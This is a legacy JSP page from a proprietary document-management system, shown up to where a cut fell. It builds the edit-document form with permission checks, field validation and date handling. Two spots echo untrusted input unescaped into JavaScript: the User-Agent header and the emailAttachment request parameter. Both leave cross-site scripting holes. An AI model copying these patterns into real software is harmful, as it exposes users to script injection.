<%
/*
 * @(#)EditDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsDocument.jsp

  This class is reflecting business logic uses.

    @author           Zoe Shum
    @company          DCIVision Limited
    @creation date    06/08/2003
    @version          $Revision: 1.214.2.33 $
*/
 
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.struts.action.ActionError"%>
<%@ page import="org.apache.struts.action.ActionErrors"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.framework.web.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.* "%>
<%@ page import="com.dcivision.dms.dao.* "%>
<%@ page import="com.dcivision.alert.bean.* "%>
<%@ page import="com.dcivision.workflow.bean.* "%>
<%@ page import="com.dcivision.workflow.core.* "%>
<%@ page import="com.dcivision.workflow.dao.* "%>
<%@ page import="com.dcivision.workflow.web.* "%>
<%@ page import="com.dcivision.alert.bean.UpdateAlert"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsDocumentForm"/>

<html:form type="MaintDmsDocumentForm" enctype="multipart/form-data" action="dms/MaintDmsDocument" styleClass="form-style-2">
<html:javascript formName="maintDmsDocumentForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/autoCompleteBoxDWRFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/util.js'></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/scriptaculous/lib/prototype.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/scriptaculous/src/scriptaculous.js" charset="UTF-8" type="text/javascript"></script>


<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

  String[] asName = new String[] {"0;"+UpdateAlert.MINUTE,"15;"+UpdateAlert.MINUTE,"30;"+UpdateAlert.MINUTE,"45;"+UpdateAlert.MINUTE,"1;"+UpdateAlert.HOUR,"2;"+UpdateAlert.HOUR,"3;"+UpdateAlert.HOUR,"4;"+UpdateAlert.HOUR,"5;"+UpdateAlert.HOUR,"6;"+UpdateAlert.HOUR,"1;"+UpdateAlert.DAY,"2;"+UpdateAlert.DAY,"3;"+UpdateAlert.DAY,"4;"+UpdateAlert.DAY,"5;"+UpdateAlert.DAY,"6;"+UpdateAlert.DAY,"1;"+UpdateAlert.WEEK,"2;"+UpdateAlert.WEEK,"3;"+UpdateAlert.WEEK,"4;"+UpdateAlert.WEEK,"5;"+UpdateAlert.WEEK,"6;"+UpdateAlert.WEEK,"1;"+UpdateAlert.MONTH,"2;"+UpdateAlert.MONTH,"3;"+UpdateAlert.MONTH,"4;"+UpdateAlert.MONTH,"5;"+UpdateAlert.MONTH,"6;"+UpdateAlert.MONTH,"1;"+UpdateAlert.YEAR,"2;"+UpdateAlert.YEAR,"3;"+UpdateAlert.YEAR,"4;"+UpdateAlert.YEAR};

  String[] asLabelName = new String[] {"alert.label.reminder_amount_0_B", "alert.label.reminder_amount_15_B", "alert.label.reminder_amount_30_B", "alert.label.reminder_amount_45_B",                         "alert.label.reminder_amount_1_C", "alert.label.reminder_amount_2_C", "alert.label.reminder_amount_3_C", "alert.label.reminder_amount_4_C", "alert.label.reminder_amount_5_C", "alert.label.reminder_amount_6_C",          "alert.label.reminder_amount_1_D", "alert.label.reminder_amount_2_D", "alert.label.reminder_amount_3_D", "alert.label.reminder_amount_4_D", "alert.label.reminder_amount_5_D", "alert.label.reminder_amount_6_D","alert.label.reminder_amount_1_E", "alert.label.reminder_amount_2_E", "alert.label.reminder_amount_3_E", "alert.label.reminder_amount_4_E", "alert.label.reminder_amount_5_E", "alert.label.reminder_amount_6_E","alert.label.reminder_amount_1_F", "alert.label.reminder_amount_2_F", "alert.label.reminder_amount_3_F", "alert.label.reminder_amount_4_F", "alert.label.reminder_amount_5_F", "alert.label.reminder_amount_6_F","alert.label.reminder_amount_1_G", "alert.label.reminder_amount_2_G", "alert.label.reminder_amount_3_G", "alert.label.reminder_amount_4_G"};


  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrivalManager=new DocumentRetrievalManager(sessionContainer,conn);
  String frm = request.getParameter("frm") != null ? (String)request.getParameter("frm"):"";
  final Integer docID        = TextUtility.parseIntegerObj(maintDmsDocumentForm.getID());
  final Integer rootID       = TextUtility.parseIntegerObj(maintDmsDocumentForm.getRootID());
  final Integer parentID     = TextUtility.parseIntegerObj(maintDmsDocumentForm.getParentID());
  final String documentType  = maintDmsDocumentForm.getDocumentType();
  final String emailAttachment = maintDmsDocumentForm.getEmailAttachment();
  String userDefinedFieldID = maintDmsDocumentForm.getUserDefinedFieldID();
  String alertType = maintDmsDocumentForm.getAlertType();
  boolean isLightVersion = sessionContainer.getAppContainer()!=null && sessionContainer.getAppContainer().isLightVersion();
  boolean supportEmail=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SUPPORT_EMAIL);
  final List udfDetailList = (List) maintDmsDocumentForm.getUdfDetailList();
  final List docDetailList = (List) maintDmsDocumentForm.getDocumentDetails();
  String permission = request.getParameter("permission");
  String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : maintDmsDocumentForm.getDirectURL();
  String browserType = request.getHeader("User-Agent");

  ActionErrors actionErrors = (ActionErrors)request.getAttribute(org.apache.struts.Globals.ERROR_KEY);
  boolean hasErrorInPage= (actionErrors !=null);

  if (!Utility.isEmpty(permission)) {
    PermissionManager permissionManager = sessionContainer.getPermissionManager();
    permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, new Integer(maintDmsDocumentForm.getID()));
  }

  Integer ID = null;
  if (!Utility.isEmpty(maintDmsDocumentForm.getID())) {
    ID=TextUtility.parseIntegerObj(maintDmsDocumentForm.getID());
  }
  if (!Utility.isEmpty(request.getParameter("ID"))) {
    ID=TextUtility.parseIntegerObj(request.getParameter("ID"));
  }
  String sCurFunctionCode = maintDmsDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintDmsDocumentForm.getCurFunctionCode();

  String homePageFunctionCode="";
  if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
    homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
    DmsDocument documentRoot = docRetrivalManager.getRootFolderByRootID(rootID);
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
  }

// update by beyond for EIP-1988
//get the root folder type
  String rootFolderType="";
  DmsDocument dmsDocumentRoot = docRetrivalManager.getRootFolderByRootID(rootID);
  if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(dmsDocumentRoot.getDocumentName())) {
    rootFolderType = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
  } else {
    rootFolderType = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
  }
//end


  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  DmsDocument parentDoc = (DmsDocument)docRetrivalManager.getDocument(parentID);

  String parentModule = "";
  if (parentDoc!=null && DmsDocument.COMPOUND_DOC_TYPE.equals(parentDoc.getDocumentType())) {
     parentModule = DmsOperationConstant.LIST_COMPOUND_DOCUMENT;
     maintDmsDocumentForm.setParentModule(parentModule);
  }
  if (parentDoc!=null && DmsDocument.PAPER_DOC_TYPE.equals(parentDoc.getDocumentType())) {
     parentModule = DmsOperationConstant.LIST_PAPER_DOCUMENT;
     maintDmsDocumentForm.setParentModule(parentModule);
  }
//  String editIndexFlag=request.getParameter("editIndexFlag");
  String editIndexFlag =  maintDmsDocumentForm.getEditIndexFlag();

  if (!Utility.isEmpty(homePageFunctionCode) && DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)) {
    sCurFunctionCode = "";
  }

  String returnTop = request.getParameter("returnTop");
  String returnTo = maintDmsDocumentForm.getReturnTo();

   if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop)){
    returnTop = java.net.URLEncoder.encode(returnTop, "UTF-8");
        if (Utility.isEmpty(returnTo)){
            returnTo = returnTo + "&returnTo=" + returnTop;
            maintDmsDocumentForm.setReturnTo(returnTo);
        }
  }

  String personalName = "";
  DmsRoot dmsRoot = docRetrivalManager.getDmsRoot(rootID);
  if(!Utility.isEmpty(dmsRoot)){
    personalName = dmsRoot.getRootName();
  }

  int datePickerCount=0;

  DmsRootDAObject dmsRootDAO = new DmsRootDAObject(sessionContainer,conn);
  Integer personalRootID = dmsRootDAO.getPersonalRootIDByCurUserID();


  boolean showPermissionFlage = false;
  boolean isPersonalFolder = true;

  String parentPermission ="";
  if (Utility.isEmpty(permission)|| "null".equals(permission)) {

    PermissionManager permissionManager = sessionContainer.getPermissionManager();
    parentPermission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, parentID);

  }

  if(!Utility.isEmpty(rootID)){

      DmsRoot documentRoot = (DmsRoot) dmsRootDAO.getObjectByID(rootID);
      if (!DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getRootName())) {
          isPersonalFolder = false;
      }
  }
   if (parentPermission.indexOf("S") > 0 && !isPersonalFolder && (GlobalConstant.NAV_MODE_NEW.equals(maintDmsDocumentForm.getNavMode()) || Utility.isEmpty(maintDmsDocumentForm.getNavMode()))){
    showPermissionFlage =  true;
  }



%>
<script language="Javascript" src="<%=request.getContextPath()%>/js/FloatingSelectionBox.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript">
<!--
PreloadImages('<html:img src='Uploading.gif' pathOnly='true'/>');
var flowWindow = null;
var clickedFlag = false;
var targetAction = '';
/*
 *  Update Code Start
 *  Author              Jim.Zhou
 *  Date                    2006/04/13
 *  Bug                     #4786
 */
var browserType = "<%=browserType%>";
/*
 *  Update Code End
 */

function closeFlowWindow() {
  if (popupWin) {
    popupWin.close();
  }
}

function OpSelfSave() {
  if (document.maintDmsDocumentForm.elements['ID'].value == null || document.maintDmsDocumentForm.elements['ID'].value == '' ) {
    targetAction = '<%=GlobalConstant.OP_MODE_INSERT%>';
  } else {
    targetAction = '<%=GlobalConstant.OP_MODE_UPDATE%>';
  }
  if (document.maintDmsDocumentForm.elements['description'].value&&document.maintDmsDocumentForm.elements['description'].value.length>600) {
  	alert("<bean:message key='alert.message.description_length' />");
  	return false;
  }
  <%if (showPermissionFlage){%>
    savePermission();
    if(!document.maintDmsDocumentForm.inheritanceFlag.checked&
      (document.maintDmsDocumentForm.allPermissionData.value==null||document.maintDmsDocumentForm.allPermissionData.value==""))
      {
      if(!confirm("<bean:message key='dms.messge.confirm_not_setting_permission'/>")){
        showTab('tab1','permissionTab');
        return;
      }
    }

    showTab('tab1','basicTab');
  <%}%>

  OpCustSave();

  return false;
}

function OpSelfSaveAndNew(){
  if (document.maintDmsDocumentForm.elements['ID'].value == null || document.maintDmsDocumentForm.elements['ID'].value == '' ) {
    targetAction = '<%=GlobalConstant.OP_MODE_INSERT_NEW%>';
  } else {
    targetAction = '<%=GlobalConstant.OP_MODE_UPDATE_NEW%>';
  }
  <%if (showPermissionFlage){%>
    savePermission();
    if(!document.maintDmsDocumentForm.inheritanceFlag.checked&
      (document.maintDmsDocumentForm.allPermissionData.value==null||document.maintDmsDocumentForm.allPermissionData.value==""))
      {
      if(!confirm("<bean:message key='dms.messge.confirm_not_setting_permission'/>")){
        showTab('tab1','permissionTab');
        return;
      }
    }

    showTab('tab1','basicTab');
  <%}%>
  OpCustSave();
  return false;
}

function OpCustSave() {
var currentTime="<%=Utility.getCurrentTimestamp()%>";
<%if ((!SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode)) && (!isLightVersion) && !DmsDocument.FOLDER_TYPE.equals(documentType)){%>
  if(FindObj("effectiveStartDate")){
    if(document.maintDmsDocumentForm.effectiveStartDate.value == null || document.maintDmsDocumentForm.effectiveStartDate.value == '') {
      alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.effective_start_date"))%>");
      return (false);
    }
    if (compareDate(document.maintDmsDocumentForm.effectiveStartDate, document.maintDmsDocumentForm.effectiveEndDate, true) > 0){
      alert("<bean:message key='dms.message.end_date_earlier_than_start_date'/>");
      return (false);
    }

  if(document.maintDmsDocumentForm.effectiveEndDate.value != "")  {
      if (compareDateValue(currentTime,document.maintDmsDocumentForm.effectiveEndDate.value,true) > 0){
        alert("<bean:message key='dms.message.end_date_earlier_than_now_time'/>");
        return (false);
      }
    }
  }
<%}%>

<%if ((SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(sCurFunctionCode)) && (!isLightVersion) && !DmsDocument.FOLDER_TYPE.equals(documentType)){ %>

  if ((document.maintDmsDocumentForm.dummy_effectiveEndDate.value!='')&&(document.maintDmsDocumentForm.dummy_effectiveEndDate.value!=null)){
     // if (document.maintDmsDocumentForm.reminderType.selectedIndex==0){
     //     alert("<bean:message key='dms.message.remindertype_required'/>");
     //     return (false);
     // }

  }else{

   if (document.maintDmsDocumentForm.reminderType.selectedIndex>0){
      alert("<bean:message key='dms.message.effectiveEndDate_required' arg0='for reminder'/>");
      return (false);
    }

    for(var i=0;i<document.maintDmsDocumentForm.notificationWay.length;i++){
      if (document.maintDmsDocumentForm.notificationWay[i].checked){
        alert("<bean:message key='dms.message.effectiveEndDate_required' arg0='for notification way(s)'/>");
        return (false);
      }
    }//end for
  }

  if (document.maintDmsDocumentForm.reminderType.selectedIndex>0){
    var blnCheck=false;
    if(document.maintDmsDocumentForm.notificationWay.checked){
       blnCheck=true;
    }else{
      for(var i=0;i<document.maintDmsDocumentForm.notificationWay.length;i++){
        if (document.maintDmsDocumentForm.notificationWay[i].checked){
            blnCheck=true;
        }
      }
    }
    if (blnCheck==false){
      alert("<bean:message key='dms.message.notification_way_missing'/>");
      return (false);
    }
  }
<%}%>

<%if (DmsDocument.PAPER_DOC_TYPE.equals(documentType)) {
    if(GlobalConstant.OP_MODE_INSERT.equals(ACTION_MODE)){
%>
      if(document.maintDmsDocumentForm.referenceNo.value==null || document.maintDmsDocumentForm.referenceNo.value==''){
         alert("<bean:message key='workflow.message.doc_reference_no_is_required'/>");
        return(false);
      }
<%  }
  }
%>

<%if (DmsDocument.DOCUMENT_TYPE.equals(documentType)) {%>
    if (clickedFlag) {
      if (popupWin) {
        popupWin.focus();
      }
    } else {

      //Validate General Document Info and UDF Profile
      if (!ValidateForm(document.maintDmsDocumentForm) || !ValidateUDF() ) {
        return(false);
      }

      if (document.maintDmsDocumentForm.elements['ID'].value == null || document.maintDmsDocumentForm.elements['ID'].value == '' ) {
        if(document.maintDmsDocumentForm.uploadFile.value == null || document.maintDmsDocumentForm.uploadFile.value == ''){
          alert("<bean:message key='dms.message.choose_file'/>");
          return (false);
        }
     <%if(GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)){%>
      if (GetFileExtension(document.maintDmsDocumentForm.uploadFile.value).length<1){
        alert('<bean:message key="errors.dms.need_ext"/>');
        return false;
      }
    <%}%>

        <%if (Utility.isEmpty(emailAttachment)){%>
            document.maintDmsDocumentForm.trueFileName.value=document.maintDmsDocumentForm.uploadFile.value;
            document.maintDmsDocumentForm.createType.value="<%=DmsOperationConstant.DMS_CREATE_BY_SYSTEM%>";
            document.maintDmsDocumentForm.closeFlag.value="2";
            //OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp', 'DCIVisionFlowWindow', 200, 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');
            loadingTo(null,true);
            document.maintDmsDocumentForm.opMode.value=targetAction;
            try{
            document.maintDmsDocumentForm.submit();
            }catch(e){
            	alert("<bean:message key='errors.dms.need_ext'/>");
            	loadingStop();
            	return false;
            }
            clickedFlag = true;
        <%} else {%>
            document.maintDmsDocumentForm.createType.value="<%=DmsOperationConstant.DMS_CREATE_BY_EMAIL%>";
            document.maintDmsDocumentForm.closeFlag.value="2";
            OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp', 'DCIVisionFlowWindow', 200, 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');
            document.maintDmsDocumentForm.opMode.value=targetAction;
            document.maintDmsDocumentForm.submit();
            clickedFlag = true;
        <%}%>
      }else {
        document.maintDmsDocumentForm.opMode.value=targetAction;
        document.maintDmsDocumentForm.submit();
      }
    }
<%}else{%>
  if (!ValidateForm(document.maintDmsDocumentForm)) {
    return(false);
  }
  if (document.maintDmsDocumentForm.elements['ID'].value == null || document.maintDmsDocumentForm.elements['ID'].value == '' ) {
    document.maintDmsDocumentForm.createType.value="<%=DmsOperationConstant.DMS_CREATE_BY_SYSTEM%>";
    document.maintDmsDocumentForm.opMode.value=targetAction;
    document.maintDmsDocumentForm.submit();
  } else {
    document.maintDmsDocumentForm.opMode.value=targetAction;
    document.maintDmsDocumentForm.submit();
  }
<%}%>
  return false;
}

function getDetail(){
    //Add By Jim Zhou               2006/12/27      EIP-1122
    //Add End
  <%if (request.getParameter("emailAttachment") != null) {%>
  document.maintDmsDocumentForm.emailAttachment.value="<%=request.getParameter("emailAttachment")%>";
  <%}%>
  document.maintDmsDocumentForm.clearIndex.value="false";
  document.maintDmsDocumentForm.clearIndexFlag.value="false";
  document.maintDmsDocumentForm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  document.maintDmsDocumentForm.submit();
}

function ValidateUDF() {
  if (document.maintDmsDocumentForm.fieldID != null) {
    for ( var i=1; i<document.maintDmsDocumentForm.fieldID.length; i++) {
      var udfDetailID = document.maintDmsDocumentForm.fieldID[i].value;
      var udfDetailValue = "";
      var udfDetailFieldName = document.maintDmsDocumentForm.fieldName[i].value;
      var MandatoryMessage = "<bean:message key='errors.dms.value_is_required'/>" + " " + udfDetailFieldName + "!";
      var NumberMessage = udfDetailFieldName + " " + "<bean:message key='errors.dms.valus_must_be_float'/>" + "!";

            /*
             *  Update Code Start
             *  Author              Jim.Zhou
             *  Date                    2006/04/13
             *  Bug                     #4786
             */
            /*
      if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.DATE_FIELD%>') {
        //udfDetailValue = eval("document.maintDmsDocumentForm.dummy_udfDetail_Date_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("dummy_udfDetail_Date_"+udfDetailID).value
      } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>') {
        //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_Number_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("udfDetail_Number_"+udfDetailID).value
      } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.STRING_FIELD%>' || document.maintDmsDocumentForm.fieldType[i].value.indexOf("CUST") >= 0) {
        //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_String_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("udfDetail_String_"+udfDetailID).value
      } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE%>') {
        //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_SDB_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("udfDetail_SDB_"+udfDetailID).value
      }
            */

            if (browserType.indexOf("Firefox") != -1) {
                if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.DATE_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.dummy_udfDetail_Date_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["dummy_udfDetail_Date_"+udfDetailID].value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_Number_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["udfDetail_Number_"+udfDetailID].value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.STRING_FIELD%>' || document.maintDmsDocumentForm.fieldType[i].value.indexOf("CUST") >= 0) {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_String_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["udfDetail_String_"+udfDetailID].value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_SDB_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["udfDetail_SDB_"+udfDetailID].value;
                }
            } else {
                if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.DATE_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.dummy_udfDetail_Date_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("dummy_udfDetail_Date_"+udfDetailID).value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_Number_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("udfDetail_Number_"+udfDetailID).value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.STRING_FIELD%>' || document.maintDmsDocumentForm.fieldType[i].value.indexOf("CUST") >= 0) {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_String_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("udfDetail_String_"+udfDetailID).value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_SDB_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("udfDetail_SDB_"+udfDetailID).value;
                }
            }
            /*
             *  Update Code End
             */

      //Check for UDF Mandatory field's value
      if (document.maintDmsDocumentForm.fieldMandatory[i].value == 'true') {
        if (udfDetailValue == '') {
          alert(MandatoryMessage);
          return false;
        }
      }

      //Check for Numeric UDF Field
      if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>') {
        if ((udfDetailValue != '') && (!parseFloat(udfDetailValue) || isNaN(udfDetailValue))) {
          alert(NumberMessage);
          return false;
        }
      }
    }
  }

  return true;
}

function clearEffectEndDateDepend(){

  if(document.maintDmsDocumentForm.dummy_effectiveEndDate.value==''){
    document.maintDmsDocumentForm.reminderType.selectedIndex=0;
    for(var i=0;i<document.maintDmsDocumentForm.notificationWay.length;i++){
        document.maintDmsDocumentForm.notificationWay[i].checked=false
    }
  }
}


function clearparentFolderProfileIndex(clearType){
  document.maintDmsDocumentForm.clearIndex.value=clearType;
  document.maintDmsDocumentForm.clearIndexFlag.value="true";
//  <%=ACTION_MODE%>
//  <%=GlobalConstant.NAV_MODE_EDIT%>
//  <%=maintDmsDocumentForm.getClearIndexFlag()%>
//  <%=maintDmsDocumentForm.getClearIndexFlag()%>

  <%if(GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)){%>
  document.maintDmsDocumentForm.editIndexFlag.value="true";
  <%}%>
//  document.maintDmsDocumentForm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  document.maintDmsDocumentForm.opMode.value="";
  document.maintDmsDocumentForm.submit();
}

function compareDateValue(dateObj1, dateObj2, ignoreTime) {
  dateFormat = '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT)%>';
  yearStart = dateFormat.indexOf("y");
  yearEnd = dateFormat.lastIndexOf("y");
  monthStart = dateFormat.indexOf("M");
  monthEnd = dateFormat.lastIndexOf("M");
  dayStart = dateFormat.indexOf("d");
  dayEnd = dateFormat.lastIndexOf("d");
  hourStart = dateFormat.indexOf("H");
  hourEnd = dateFormat.lastIndexOf("H");
  minStart = dateFormat.indexOf("m");
  minEnd = dateFormat.lastIndexOf("m");
  secStart = dateFormat.indexOf("s");
  secEnd = dateFormat.lastIndexOf("s");

  if (yearStart==-1 || yearEnd==-1 || monthStart==-1 || monthEnd==-1 || dayStart==-1 || dayEnd==-1
      || hourStart==-1 || hourEnd==-1 || minStart==-1 || minEnd==-1 || secStart==-1 || secEnd==-1) {
    alert("<bean:message key='common.message.invalid_date_format'/>");
  }

  jsDate1 = null;
  if (dateObj1!=null && dateObj1!='') {
    year1 = dateObj1.substring(yearStart, yearEnd+1);
    month1 = dateObj1.substring(monthStart, monthEnd+1);
    day1 = dateObj1.substring(dayStart, dayEnd+1);
    hour1 = dateObj1.substring(hourStart, hourEnd+1);
    min1 = dateObj1.substring(minStart, minEnd+1);
    sec1 = dateObj1.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate1 = new Date(year1, month1-1, day1);
    } else {
      jsDate1 = new Date(year1, month1-1, day1, hour1, min1, sec1);
    }
  }

  jsDate2 = null;
  if (dateObj2!=null && dateObj2!='') {
    year2 = dateObj2.substring(yearStart, yearEnd+1);
    month2 = dateObj2.substring(monthStart, monthEnd+1);
    day2 = dateObj2.substring(dayStart, dayEnd+1);
    hour2 = dateObj2.substring(hourStart, hourEnd+1);
    min2 = dateObj2.substring(minStart, minEnd+1);
    sec2 = dateObj2.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate2 = new Date(year2, month2-1, day2);
    } else {
      jsDate2 = new Date(year2, month2-1, day2, hour2, min2, sec2);
    }
  }

  if (jsDate1==null && jsDate2==null) {
    return 0; //treat as the same
  } else if (jsDate1==null) {
    return 1; //date 2 is later
  } else if (jsDate2==null) {
    return -1; //date 1 is earlier
  } else {
    if (jsDate1-jsDate2>0) {
      return 1; //date1 is later than date2
    } else if (jsDate1-jsDate2<0) {
      return -1; //date1 is earlier than date2
    } else {
      return 0; //they are equals
    }
  }
}

-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='documentType'/>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>
<html:hidden property='createType'/>
<html:hidden property='itemSize'/>
<html:hidden property='itemStatus'/>
<html:hidden property='checkoutID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='alertType' value='<%=alertType%>'/>
<html:hidden property='closeFlag' value='0'/>
<html:hidden property='trueFileName'/>
<html:hidden property='emailAttachment'/>
<html:hidden property='parentModule' value='<%=parentModule%>'/>
<html:hidden property='directURL' value='<%=directURL%>'/>
<html:hidden property='returnTo'/>
<html:hidden property='curFunctionCode'/>
<html:hidden property='clearIndex'/>
<html:hidden property='editIndexFlag'/>
<html:hidden property='clearIndexFlag'/>
<%if (showPermissionFlage){%>
<html:hidden property='setPermission' value ="TRUE"/>
<%}%>

<%
try {
String showHeaderFooter = (String)request.getAttribute("SHOW_HEADER_FOOTER");
String returnURL="";
if(Utility.isEmpty(maintDmsDocumentForm.getReturnTo()) || maintDmsDocumentForm.getReturnTo().equals("null")){
  if(Utility.isEmpty(homePageFunctionCode)){
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(dmsDocumentRoot.getDocumentName())) {
      returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID;
    }else {
        returnURL="ListDmsPublicDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID+"&Return=Y";
    }
  }else if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){
